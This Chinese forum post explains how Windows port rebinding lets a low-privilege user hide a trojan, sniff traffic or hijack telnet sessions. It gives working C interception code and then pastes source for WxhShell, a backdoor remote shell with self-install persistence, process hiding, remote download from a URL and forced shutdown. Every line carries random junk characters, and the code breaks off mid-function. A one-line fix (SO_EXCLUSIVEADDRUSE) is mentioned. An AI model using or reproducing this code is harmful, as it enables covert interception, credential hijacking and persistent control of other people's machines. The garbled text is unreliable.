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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yi .u"sh]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :s=NUw_^  
mrTlXXz  
  saddr.sin_family = AF_INET; A+HF@Uw}^  
<Q$@r?Mu]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9s_vL9u  
xrlmKSPa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =nz}XH%=  
QS0:@.}$E)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g"Ljm7  
+ r!1<AAE$  
  这意味着什么?意味着可以进行如下的攻击: *?o{9v5}(  
/`9sPR6e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z+ s6)Ad  
0WT{,/>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hhb?6]Z/  
Z,`iO %W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -8'C\R|J+  
0?sRDYaX;c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aHlcfh9|  
nJbtS#`G4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _4TH4~cY  
qd+h$ "p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W>!_|[a  
2#o>Z4 r{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A2^\q>_#  
jATI&oX  
  #include cbeLu'DWB.  
  #include S2n39 3  
  #include yPM3a7-Bm  
  #include    za#s/b$[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "mX\&%i6\p  
  int main() ilK-?@u+  
  { 0MV>"aV  
  WORD wVersionRequested; 6cpw~  
  DWORD ret; ^?$WVB  
  WSADATA wsaData; 0- ><q  
  BOOL val; pkP?i5 ,  
  SOCKADDR_IN saddr; e'~Zo9`r6  
  SOCKADDR_IN scaddr; m7&O9?X  
  int err; ANvRi+ _  
  SOCKET s; qs|mj}?  
  SOCKET sc; . 7zK@6i  
  int caddsize; |M8WyW  
  HANDLE mt; A"`foI$0  
  DWORD tid;   %cCs?ic  
  wVersionRequested = MAKEWORD( 2, 2 ); =PUt&`1.a  
  err = WSAStartup( wVersionRequested, &wsaData ); 3VuW#m#j  
  if ( err != 0 ) { +${D  
  printf("error!WSAStartup failed!\n"); V I,ACj  
  return -1; 6}75iIKi  
  } ";BlIovT=R  
  saddr.sin_family = AF_INET; *J$=.fF1  
   $=5=NuX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BQBeo&n6  
{x:ZF_wbb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1h>yu3O  
  saddr.sin_port = htons(23); 1?)Xp|O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '#LQN<"4  
  { 'sLiu8G  
  printf("error!socket failed!\n"); "+\lws  
  return -1; h tx;8:  
  } $|]" W=h  
  val = TRUE;  e`d%-9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,REJt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $jm>:YD  
  { xO1[>W  
  printf("error!setsockopt failed!\n"); #Pw2Q  
  return -1; bgS$ {n/  
  } o8zy^zN$6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y'(Ne=y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M(RZ/x  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /D5`   
\I["2C]3M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !1n8vzs"c  
  { fR)m%m  
  ret=GetLastError(); ]BtbWKJBqe  
  printf("error!bind failed!\n"); 6 }4'E  
  return -1; >RPd$('T  
  } z?[r  
  listen(s,2); BJgW,huLy  
  while(1) 53c0 E  
  { T|6jGZS^|W  
  caddsize = sizeof(scaddr); {D? 50Q  
  //接受连接请求 bKj%s@x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 N7[.I>A  
  if(sc!=INVALID_SOCKET) M~WijDj  
  { LUH"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); RG3l.jL  
  if(mt==NULL) b3S.-W{p.  
  { 8 %%f%y  
  printf("Thread Creat Failed!\n"); .~Fp)O:!  
  break; u)3 $~m~  
  } &=<x#h-  
  } g8Q5m=O*  
  CloseHandle(mt); !Gu%U$d  
  } N>Eqj>G  
  closesocket(s); `(v='$6}  
  WSACleanup(); O=v#{ [  
  return 0; smdZxFl  
  }   F^N82  
  DWORD WINAPI ClientThread(LPVOID lpParam) lZyG)0t,g  
  { E Q4KV  
  SOCKET ss = (SOCKET)lpParam; &LF` W  
  SOCKET sc; "]oO{'1X  
  unsigned char buf[4096]; qb5#_1qz+^  
  SOCKADDR_IN saddr; ysmNio  
  long num; [cTe54n  
  DWORD val; %STliJ  
  DWORD ret; %|^OOU}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )x}l3\s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r|PFw6  
  saddr.sin_family = AF_INET; /&CmO>^e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d)@<W1;  
  saddr.sin_port = htons(23); G P:FSprP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?."&MZ  
  { $U$V?x uE  
  printf("error!socket failed!\n"); |+35y_i6  
  return -1; z\0 CE]#T  
  } tp6M=MC%  
  val = 100; eh4gQ^l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 28/ ADZ  
  { mNb ?*3\  
  ret = GetLastError(); /n5F(5<  
  return -1; 'fcMuBc+ 4  
  } "Fy7K#n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0O\SU"bP  
  { ~XyW&@  
  ret = GetLastError(); WVmq% ,7  
  return -1; ddfs8\  
  } u)ev{)$TM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )I^2k4Cg"  
  { Nc :({@I  
  printf("error!socket connect failed!\n"); y" 6y!  
  closesocket(sc); |\n@3cIK  
  closesocket(ss); sf OHl  
  return -1;  ] GHt"  
  } [/ !;_b\X  
  while(1) UPc<gB  
  { %]gn?`O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Rw6; Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?gO8kPg/D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~6pr0uyO`  
  num = recv(ss,buf,4096,0); yC3yij<oR  
  if(num>0) 2:BF[c`  
  send(sc,buf,num,0); 3I!?e!y3(  
  else if(num==0) -29gL_dk.  
  break; 2u"7T_"2D  
  num = recv(sc,buf,4096,0); JOb*-q|y  
  if(num>0) j:}J}P  
  send(ss,buf,num,0); :}h>by=  
  else if(num==0) rQOWLg!"  
  break; 4B4Z])$3  
  } s0*0 'f  
  closesocket(ss); L4b:F0  
  closesocket(sc); xXY.AoO6  
  return 0 ; }R)=S_j  
  } i.xXb [M+  
DNR~_3Aq  
1=|7mehL%  
========================================================== {^ m(,K_  
?_oF:*~\  
下边附上一个代码,,WXhSHELL 277ASCWLkU  
UWZa|I~:J  
========================================================== e/*$^i+S  
m6MO W&  
#include "stdafx.h" V~T@6S  
E]J:~H'Er  
#include <stdio.h> R g?1-|Tj  
#include <string.h> 6vp *9  
#include <windows.h> n4R2^gXAw  
#include <winsock2.h> t4q ej  
#include <winsvc.h> l"{Sm6:;-  
#include <urlmon.h> X*g(q0N<S  
>Jw6l0z  
#pragma comment (lib, "Ws2_32.lib") rrnNn'  
#pragma comment (lib, "urlmon.lib") u>Rb ?`  
'lo  
#define MAX_USER   100 // 最大客户端连接数 `/"nTB  
#define BUF_SOCK   200 // sock buffer jYVE8Y)my  
#define KEY_BUFF   255 // 输入 buffer iJv48#'ii  
xrqv@/kJ  
#define REBOOT     0   // 重启 SR^_cpZoi  
#define SHUTDOWN   1   // 关机 kF{*(r=.o  
&(z fa&j|  
#define DEF_PORT   5000 // 监听端口 aZet0?Qr  
Aj9Ji"18za  
#define REG_LEN     16   // 注册表键长度 x$wd O  
#define SVC_LEN     80   // NT服务名长度 [xfaj'j=@  
ewuXpv%vwW  
// 从dll定义API ="%W2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !@I}mQ ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Uu"0rUzt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QN>7~=`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uNHdpni  
TZ;p0^(  
// wxhshell配置信息 !Y<oN~<%)  
struct WSCFG { Uw/l>\  
  int ws_port;         // 监听端口 vBvNu<v7te  
  char ws_passstr[REG_LEN]; // 口令 1AHx"e,;L  
  int ws_autoins;       // 安装标记, 1=yes 0=no g7CXlT0Q6  
  char ws_regname[REG_LEN]; // 注册表键名 W%e_~$H0  
  char ws_svcname[REG_LEN]; // 服务名 Sf/q2/r?6[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1^dJg8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _TUt9}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P F`rWw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {SZ% Xbo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <w>/^|]#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Pwx~[<1""  
LF?P> 1%-  
}; Sd))vS^g  
4KI [D{  
// default Wxhshell configuration ' )-M\'S$E  
struct WSCFG wscfg={DEF_PORT, pi5GxDA]  
    "xuhuanlingzhe", p<`+sf}A:  
    1, s$DrR  
    "Wxhshell", pi@Xkw  
    "Wxhshell", fd8!KO  
            "WxhShell Service", VW@ x=m  
    "Wrsky Windows CmdShell Service", S2C]?6cTq  
    "Please Input Your Password: ", p T[gdhc  
  1, K"<*a"1I  
  "http://www.wrsky.com/wxhshell.exe", JR9$. fGJ  
  "Wxhshell.exe" (QB+%2v  
    }; tZ2K$!/B  
RGD]8 mw  
// 消息定义模块 td{O}\s7D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~%#mK:+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; | A:@ &|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b-@\R\T  
char *msg_ws_ext="\n\rExit."; 6<Hu8$G|  
char *msg_ws_end="\n\rQuit."; /^#G0f*N  
char *msg_ws_boot="\n\rReboot..."; |%D%0TR&Q  
char *msg_ws_poff="\n\rShutdown..."; Zg:gY"^  
char *msg_ws_down="\n\rSave to "; 7m9 " 8   
O'NW Ebl/  
char *msg_ws_err="\n\rErr!"; &hV Zx  
char *msg_ws_ok="\n\rOK!"; 68R1AqU_  
~V)?>)T  
char ExeFile[MAX_PATH]; x`Fjf/1T*m  
int nUser = 0; 9l+{OA  
HANDLE handles[MAX_USER]; 8cm@a*2%  
int OsIsNt; jU=<r  
WxGSv#u  
SERVICE_STATUS       serviceStatus; 8 Op.eYe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 59rY[&|  
o%y;(|4t >  
// 函数声明 V+Xl9v4O  
int Install(void); nhdTTap&9  
int Uninstall(void); 0O2n/`'  
int DownloadFile(char *sURL, SOCKET wsh); sI 4yG  
int Boot(int flag); uD>z@J-v  
void HideProc(void); Az,- Cq  
int GetOsVer(void); S{p}ux[}=  
int Wxhshell(SOCKET wsl); .dq "k  
void TalkWithClient(void *cs); N<JHjq  
int CmdShell(SOCKET sock); vz`@x45K  
int StartFromService(void); o*ANi;1]&B  
int StartWxhshell(LPSTR lpCmdLine); 6ri#Lw  
W"hcaa,&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?\H.S9CZ^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $zkH|] zZ  
G+"8l!dC?  
// 数据结构和表定义 (U87}}/l  
SERVICE_TABLE_ENTRY DispatchTable[] = ;RN8\re  
{ q42FP q  
{wscfg.ws_svcname, NTServiceMain}, ua 8m;>R  
{NULL, NULL} FUeq \Wuo  
}; *+lsZ8'^C  
gs`^~iD]m  
// 自我安装 LxJ6M/".  
int Install(void) Ff"gadRXd  
{ i (HByI  
  char svExeFile[MAX_PATH]; h(xP_Svj>  
  HKEY key; [@{0o+.]'H  
  strcpy(svExeFile,ExeFile); <>4!XPo%J  
;R[&pDx  
// 如果是win9x系统,修改注册表设为自启动 zp=!8Av  
if(!OsIsNt) { OM9 6`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'M'w,sID  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K5 vNhA  
  RegCloseKey(key); -S; &Q'Mt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l+ T, 2sd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s3lJu/Xe{  
  RegCloseKey(key); @?2n]n6  
  return 0; WOndE=(V  
    } RfbdBsL  
  } z] @W[MHY  
} ]b[,LwB\`~  
else { rm+v(&  
85>S"%_  
// 如果是NT以上系统,安装为系统服务 EI`vVI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3-Y=EH_0  
if (schSCManager!=0) d><fu]'  
{ {HZS:AV0  
  SC_HANDLE schService = CreateService W7!.#b(hU  
  ( eihZp  
  schSCManager, kl{6]39  
  wscfg.ws_svcname, (zah890//  
  wscfg.ws_svcdisp, Uu2N9.5  
  SERVICE_ALL_ACCESS, ^eTZn[qH>w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Q[}s #g  
  SERVICE_AUTO_START, ;?im(9h"v!  
  SERVICE_ERROR_NORMAL, aR(E7mXQ  
  svExeFile, &d 3HB=x  
  NULL, &|z544  
  NULL, '\4fU%  
  NULL, \JU ~k5j  
  NULL, ABWb>EZ8  
  NULL +rQg7a}  
  ); URw!7bTz  
  if (schService!=0) ZDlu1>Q  
  { z<QIuq  
  CloseServiceHandle(schService); SL*DK.  
  CloseServiceHandle(schSCManager); E*4t8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /Nqrvy=  
  strcat(svExeFile,wscfg.ws_svcname); OLFt;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ??TdrTS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); </w 7W3F  
  RegCloseKey(key); 4 ?2g&B\  
  return 0; n2 na9dX)w  
    } FrR9{YTA .  
  } j7sU0"7^  
  CloseServiceHandle(schSCManager); OPJgIU%  
} C5B=NAc  
} kbq:U8+k  
_SF!T6A  
return 1; XWF7#xM  
} JFJIls  
oQBiPN+v.3  
// 自我卸载 ^fZGX<fH   
int Uninstall(void) D5[VK `4Z  
{ n `#+L~X  
  HKEY key; G"fdu(.@  
W%zmD Hk~  
if(!OsIsNt) { qj;l,Kua  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fB[\("+  
  RegDeleteValue(key,wscfg.ws_regname); 1HXlHic  
  RegCloseKey(key); )v-Cj_W5]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x#o?>5Qg?  
  RegDeleteValue(key,wscfg.ws_regname); ;E2~L  
  RegCloseKey(key); o~}1 oN  
  return 0; yr{5Rp05=  
  } RR'(9QJ$  
} E~69^ cd  
} :>ZzP:QD  
else { T"A^[ r*  
t!l/`e%J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <!hpfTz*  
if (schSCManager!=0) ${0%tCE  
{ y$v@wb5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2:/u2K  
  if (schService!=0) XL?A w  
  { oEPNN'~3  
  if(DeleteService(schService)!=0) { G/%Ubi6%  
  CloseServiceHandle(schService); <q1'Li)_R  
  CloseServiceHandle(schSCManager); k{qLkcOg=  
  return 0; \ j x0ZHR  
  } I<9n(rA  
  CloseServiceHandle(schService); ){jqfkL  
  } D;J|eC>^  
  CloseServiceHandle(schSCManager); S].Ft/+H  
} !}j,TPpG  
} WkcH5[  
zdT->%  
return 1; Y"s )u7  
} 8t--#sDy{0  
s.bT[0Vl  
// 从指定url下载文件 @qpYDnJ:  
int DownloadFile(char *sURL, SOCKET wsh) JYl\<Z' {  
{ Bd.Z+#%l"  
  HRESULT hr; D'85VZEFyo  
char seps[]= "/"; oFwG+W /  
char *token; widI s[ )  
char *file; 1riBvBT  
char myURL[MAX_PATH]; qYDj*wqf  
char myFILE[MAX_PATH]; <XY;fhnB  
6S2r  
strcpy(myURL,sURL); lJ("6aT?  
  token=strtok(myURL,seps); rS=tcB O  
  while(token!=NULL) sio)_8tp  
  { } =xI3;7  
    file=token; #%:`p9p.S  
  token=strtok(NULL,seps); ?L8&(&1@VD  
  } 65;|cmjv  
2z[r@}3  
GetCurrentDirectory(MAX_PATH,myFILE); D8q3TyCj%  
strcat(myFILE, "\\"); rO5u~"v]  
strcat(myFILE, file); 1mY+0  
  send(wsh,myFILE,strlen(myFILE),0); 0I(uddG3  
send(wsh,"...",3,0); ntDRlX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %GNUnr$  
  if(hr==S_OK) 5#yJK>a7  
return 0; HDa~7wE  
else l@~1CMyN  
return 1; r94j+$7  
Y1m}@k,+M  
} >a?OXqYP  
D$Kz9GVZq  
// 系统电源模块 y*y`t6D  
int Boot(int flag) e~tr^$/(  
{ iLjuE)6-$  
  HANDLE hToken; d3\OHkM0^  
  TOKEN_PRIVILEGES tkp; 9k(*?!\;  
rSM$E  
  if(OsIsNt) { kQqBHA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U)SM),bE[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *4r s  
    tkp.PrivilegeCount = 1; 9k714bnMLX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 03P N{<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?"5~Wwp.T  
if(flag==REBOOT) { j` [#Ij  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eL]{#WL  
  return 0; RPz!UMQSD  
} ;"d?_{>7  
else { =)mXCA^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E.?E~}z  
  return 0; \f8P`oET~  
} SJ1w1^#Pz  
  }  #a|6Q 8  
  else { ~E^yM=:h  
if(flag==REBOOT) { ckH$E%j   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KK&<Vw|O\  
  return 0; ))%@@l[  
} *#9VC)Q  
else { |@T5$Xg]5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o(B<!ji~'  
  return 0; J=f:\]@Oy  
} v_?s1+w  
} owfp^hla  
B2ek&<I7N  
return 1; :t2 9`x  
} Z;|0"K  
zbF:R[)  
// win9x进程隐藏模块 lM@<_=2  
void HideProc(void) aF; ]7i@  
{ ~zXG<}n  
x>1iIpBv^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~!a~C~_  
  if ( hKernel != NULL ) el2*\(XT  
  { 1q}u?7nnSG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aTL8l.c2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b7W=HR  
    FreeLibrary(hKernel); E<X{72fb>  
  } jc%{a*n"vr  
s2(w#n)  
return; }[=xe(4]D  
} UX-_{I QW  
\-$b o=s.  
// 获取操作系统版本 cuV8#: i  
int GetOsVer(void) ';;p8bv+  
{ '%n<MTL  
  OSVERSIONINFO winfo; q 2_N90u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Vid{6?7kh  
  GetVersionEx(&winfo); S|RpA'n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6)uPM"cO  
  return 1; Q+u#?['  
  else ]2aYi9)  
  return 0; Q}=W>|aE.  
} ^.Ih,@N6  
DJD]aI  
// 客户端句柄模块 }ZM*[j  
int Wxhshell(SOCKET wsl) T/Wm S?  
{ 0]h8)EW  
  SOCKET wsh; +s/N@]5nW  
  struct sockaddr_in client; E1{:z"  
  DWORD myID; 9A* ?E  
5Sm5jRr  
  while(nUser<MAX_USER) r:WgjjA%  
{ !UgUXN*  
  int nSize=sizeof(client); !CVBG *E^l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UpszCY4  
  if(wsh==INVALID_SOCKET) return 1; V~J2s  
+GYI2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kl46CZs#8  
if(handles[nUser]==0) Vk N[=0a,  
  closesocket(wsh); SILvqm  
else |peMr#  
  nUser++; &JXHDpd$a^  
  } ,SJK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '4^V4i  
_;J9q}X  
  return 0; a7v[l04  
} CyK$XDHa  
w /W Cj4`  
// 关闭 socket fN"oa>X  
void CloseIt(SOCKET wsh) LL$,<q%(P  
{ PgG |7='  
closesocket(wsh); [b k&Nd[  
nUser--; B0oY]r6  
ExitThread(0); s68_o[[E  
} Gs=a(0 0i?  
OJ_2z|f<  
// 客户端请求句柄 Z1V'NJI+  
void TalkWithClient(void *cs) z?t(+^  
{ O[hbu![  
P8,{k  
  SOCKET wsh=(SOCKET)cs; 6JFDRsX>)?  
  char pwd[SVC_LEN]; N>}K+M>  
  char cmd[KEY_BUFF]; {OhkuON  
char chr[1]; H-cBXp5z  
int i,j; R !%m5Q?5  
5#9Wd9LP  
  while (nUser < MAX_USER) { &zh+:TRm  
M9 2~iM  
if(wscfg.ws_passstr) { ,^+R%7mv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Y&9S)xcE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1=q?#PQ  
  //ZeroMemory(pwd,KEY_BUFF); /o1)ZC$  
      i=0; Ni@e/| 2b  
  while(i<SVC_LEN) { :UhFou_D4l  
6kF uMtjc  
  // 设置超时 d Xo'#.  
  fd_set FdRead; ;\*Od?1  
  struct timeval TimeOut; ,@>rubUz  
  FD_ZERO(&FdRead); f`9rT c  
  FD_SET(wsh,&FdRead); -SY:qG3?  
  TimeOut.tv_sec=8; ;~@PYIp  
  TimeOut.tv_usec=0; ~oW8GQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WGG) mh&-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mQA<t)1  
eRx[&-c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $W_o$'crW  
  pwd=chr[0]; J,=E5T}U^  
  if(chr[0]==0xd || chr[0]==0xa) { hTtp-e`   
  pwd=0; ='bmjXu  
  break; >'|xQjLl  
  } /L|}Y242  
  i++; 5WNg+  
    } ? -F'0-t4%  
QUw5~n ;-  
  // 如果是非法用户,关闭 socket Ah>krE0t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4^NHf|UJH  
} NdSxWrD`m  
'5,,XhP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {kRC!}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e "adkV  
645C]l  
while(1) { y0&HXX#\  
] xLb )Z  
  ZeroMemory(cmd,KEY_BUFF); >scS wT  
^R'!\m|FR  
      // 自动支持客户端 telnet标准   'TN{8~Gt*  
  j=0; n#4J]Z@  
  while(j<KEY_BUFF) { 0l1]QD+Gc5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |p4OlUq  
  cmd[j]=chr[0]; Lr\ B  
  if(chr[0]==0xa || chr[0]==0xd) { 5NF&LM;i(  
  cmd[j]=0; yoY)6cn@  
  break; *,[=}v1  
  } "!/_h >  
  j++; -Lf6]5$2'  
    } =]xk-MY"|R  
VUv.Tx]Z[  
  // 下载文件 K9M.+d4  
  if(strstr(cmd,"http://")) { Rw{v"n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ~M^7qO  
  if(DownloadFile(cmd,wsh)) ` dUiz5o'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z57papo  
  else v8k ^=A:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *4^]?Y\*  
  } e(\S,@VN2  
  else { qf=[*ZY  
:lQjy@J  
    switch(cmd[0]) { .z>." `  
  WAa1H60VkS  
  // 帮助 @?=)}2=|?i  
  case '?': { R"t$N@ZFb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %+! 9  
    break; e&4wwP"`<  
  } Qn3+bF4  
  // 安装 ;,})VoC\!  
  case 'i': { 6:z&ukq E  
    if(Install()) 3L]^x9Cu)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _vLT!y  
    else WI!z92qq[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [k=9 +0p  
    break; (dip Ks?K  
    } ,h`D(,?X  
  // 卸载 V1>94/waa  
  case 'r': { *Z2Q]?:{ i  
    if(Uninstall()) h>%JG'DV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # %y{mn  
    else x,c68Q)g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k!f`  
    break; 1V3J:W#;  
    } kpw4Mq@  
  // 显示 wxhshell 所在路径 L0VR(  
  case 'p': { ?HyioLO  
    char svExeFile[MAX_PATH]; 6ch[B`[h,  
    strcpy(svExeFile,"\n\r"); QIV~)`;  
      strcat(svExeFile,ExeFile); #*M$,ig  
        send(wsh,svExeFile,strlen(svExeFile),0); RS02>$jo  
    break; vEp8Hc  
    } N,,2 VSUr  
  // 重启 <_q/ +x]8  
  case 'b': { RWQW/Gw x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  Q<ExfJm  
    if(Boot(REBOOT)) K y2xWd8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % P)}(e6y  
    else { #=#$b_6*  
    closesocket(wsh); gpvj'Ri7V  
    ExitThread(0); 7 =*k@9  
    } K$GXXE`  
    break; lFV|GJ  
    } g uWqHVSs  
  // 关机 0_pwY=P  
  case 'd': { F^G`Jf  
